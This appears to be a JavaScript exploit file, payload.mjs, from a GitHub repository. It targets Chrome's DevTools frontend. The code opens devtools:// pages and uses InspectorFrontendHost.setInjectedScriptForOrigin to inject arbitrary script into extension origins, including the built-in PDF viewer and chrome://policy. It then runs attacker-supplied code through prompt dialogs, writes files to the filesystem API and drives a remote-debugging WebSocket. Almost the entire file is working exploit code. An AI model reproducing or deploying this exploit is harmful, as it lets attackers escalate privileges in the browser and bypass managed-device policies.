-
Notifications
You must be signed in to change notification settings - Fork 70
/
payload.mjs
299 lines (271 loc) · 12.8 KB
/
payload.mjs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
(function () {
if (!opener) {
opener = window;
}
// alert(origin);
// window.w = w;
// })
const w = window.opener.open("devtools://devtools/bundled/devtools_app.html");
window.opener.close();
w.addEventListener("load", async () => {
if (!w.DevToolsAPI) {
console.log("reloading");
w.opener = null;
w.location.reload();
}
await sleep(500);
console.log("Got DevToolsAPI object from opened window:", w.DevToolsAPI);
exploit(w);
});
window.w = w;
function exploit(w) {
function ui() {
const pdfId = "mhjfbmdgcfjbbpaeojofohoefgiehjai";
var globalUID = 0;
let globalMap = [];
function payload_swamp(w, d) {
const pdfId = "mhjfbmdgcfjbbpaeojofohoefgiehjai"; // Redefinition because we convert this function to a string
const mojoURL = "chrome://resources/mojo/mojo/public/js/bindings.js";
console.log('hi');
if (location.origin.includes("chrome-extension://" + pdfId)) {
w.close();
chrome.tabs.getCurrent(function (info) {
chrome.windows.create({
setSelfAsOpener: true,
url: mojoURL
}, function (win) {
const r = win.tabs[0].id;
chrome.tabs.executeScript(r, { code: `location.href = \"javascript:${atob('%%CHROMEPAYLOAD%%')}\"` });
})
})
return;
}
// console.log(d);
// w.setTimeout(function() {
const blob_url = new Blob(["alert(1)"], { type: "text/html" });
w.webkitRequestFileSystem(TEMPORARY, 2 * 1024 * 1024, async function (fs) {
function removeFile(file) {
return new Promise(function (resolve, reject) {
fs.root.getFile(file, { create: true }, function (entry) {
entry.remove(resolve);
})
});
}
function writeFile(file, data) {
return new Promise((resolve, reject) => {
fs.root.getFile(file, { create: true }, function (entry) {
entry.remove(function () {
fs.root.getFile(file, { create: true }, function (entry) {
entry.createWriter(function (writer) {
writer.write(new Blob([data]));
resolve(entry.toURL());
})
})
})
})
})
};
if (d.cleanup) {
console.log("cleaning up");
debugger;
await removeFile('index.js');
await removeFile('index.html');
alert("Cleaned up successfully!");
cleanup();
w.close();
return;
}
await writeFile('index.js', atob(`%%EXTJS%%`))
const url = await writeFile('index.html', `${atob('%%EXTHTML%%')}<script src="./index.js"></script>`);
w.chrome.tabs.create({ url });
w.close();
cleanup();
});
// }, 5000);
}
document.open();
document.write(atob(`%%HTMLENTRY%%`));
document.querySelector('#activate').onclick = function () {
dbgext(false, pdfId);
}
onunload = function () {
while (true);
}
document.close();
document.title = "Dashboard";
document.querySelector('#activate2').onclick = function (ev) {
function xd(w) {
w.close();
const pdfId = "mhjfbmdgcfjbbpaeojofohoefgiehjai"; // Redefinition because we convert this function to a string
const mojoURL = "chrome://resources/mojo/mojo/public/js/bindings.js";
chrome.tabs.getCurrent(function (tab) {
console.log(tab);
chrome.windows.create({ url: mojoURL, setSelfAsOpener: true }, function (info) {
async function createAndWriteFile() {
function writeFile(filename, content) {
return new Promise((resolve) => {
webkitRequestFileSystem(TEMPORARY, 2 * 1024 * 1024, function (fs) {
fs.root.getFile(filename, { create: true }, function (entry) {
entry.remove(function () {
fs.root.getFile(filename, { create: true }, function (entry) {
entry.createWriter(function (writer) {
writer.write(new Blob([content]))
writer.onwriteend = function () {
resolve(entry.toURL());
}
})
})
})
})
})
})
}
const htmlFile = `<html>
<head></head><body><iframe src="filesystem:chrome://extensions/temporary/nothing.html"></iframe>
</html>
<script>
onerror= alert;
if (top !== window) {
top.location.replace(location.href);
};
</script>
`
// alert(url);
opener.postMessage({ url: (await writeFile('index.html', htmlFile))}, '*');
setTimeout(function () {
close();
}, 800);
}
chrome.tabs.executeScript(info.tabs[0].id, { code: `(${createAndWriteFile.toString()})()` });
function m2(url) {
// alert(url);
onmessage = function (data) {
if (data.data.type === "ack") {
// chrome.tabs.getCurrent(function (tab) {
// alert("navigating");
top.location.replace("")
// })
}
}
top.postMessage({ type: 'acc' }, '*');
}
onmessage = function (dat) {
if (dat.data.url) {
m2(dat.data.url);
}
};
})
})
}
dbgext(false, pdfId, xd.toString());
}
onmessage = function (ev) {
if (ev.data.type === "browserInitNavigate") {
alert(1);
ev.source.location.replace(ev.data.url);
}
}
document.querySelector('#updater').onclick = function (ev) {
onunload = null;
const ws = new WebSocket("ws://%%updaterurl%%");
ws.onopen = function () {
ws.onmessage = function (ev) {
const received = JSON.parse(ev.data);
const savedURL = received.params.request.url;
ws.close();
const w = open('', '_blank');
console.log(savedURL);
w.eval(`setTimeout(function () {opener.open(atob("${btoa(savedURL)}"), '_blank'); window.close()}, 500);`);
setTimeout(() => { location.reload() });
}
ws.send(JSON.stringify({
method: "Target.setDiscoverTargets",
id: 999,
params: {}
}));
}
}
onmessage = function (d) {
if (d.data.type === "acc") {
onunload = function () { while (true); };
d.source.postMessage({ type: "ack" }, '*');
};
if (!globalMap[d.data.uid]) return;
for (const frame of globalMap) {
if (!frame) continue;
if (frame.idx === d.data.uid) {
frame.remove();
delete globalMap[globalMap.indexOf(frame)];
return;
}
}
}
function dbgext(cleanup, id, payload) {
let x = id;
while (!x) {
x = prompt('Extension id?');
if (x === "cancel") {
return;
}
}
let path = 'manifest.json';
let is_pdf = false;
let injected = payload ?? payload_swamp.toString();
if (x === pdfId) {
path = "index.html"; // pdf viewer hack
is_pdf = true;
const b = prompt("code to execute!");
if (!b) return;
injected = injected.replace('%%CHROMEPAYLOAD%%', btoa(b));
InspectorFrontendHost.setInjectedScriptForOrigin('chrome://policy', b+'//');
}
const URL_1 = `chrome-extension://${x ??
alert("NOTREACHED")}/${path}`;
InspectorFrontendHost.setInjectedScriptForOrigin(new URL(URL_1).origin, `window.cleanup = ()=>{window.parent.postMessage({type: "remove", uid: window.sys.passcode}, '*');} ;onmessage = function (data) {window.sys = data.data; const w = open(origin + '/${path}'); w.onload = function () {(${injected})(w, data.data)} }//`);
const ifr = document.createElement("iframe");
ifr.src = URL_1;
document.body.appendChild(ifr);
const ifrid = globalMap.push(ifr) - 1;
ifr.idx = ifrid;
ifr.onload = function () {
ifr.contentWindow.postMessage({
type: "uidpass", passcode:
ifrid,
cleanup: cleanup
}, '*');
// console.log('hi');
}
// alert(1);
}
document.querySelector('#extdbg').onclick = function () {
dbgext(false);
}
document.querySelector('#cleanup').onclick = function () {
dbgext(true);
}
document.querySelector('#devdbg').onclick = function () {
var l_canceled = false;
const id = setTimeout(function m() {
if (l_canceled) return;
(new Function(prompt("Evaluate script! (type 'cancel' to cancel)")))();
if (!l_canceled) setTimeout(m, 0);
clearTimeout(id);
});
Object.defineProperty(window, 'cancel', {
get: function () {
l_canceled = true;
}, configurable: true
})
return;
}
console.log(globalMap);
}
w.eval(`(${ui.toString()})()`);
window.close();
}
function sleep(ms) {
return new Promise(resolve => {
setTimeout(resolve, ms);
});
}
})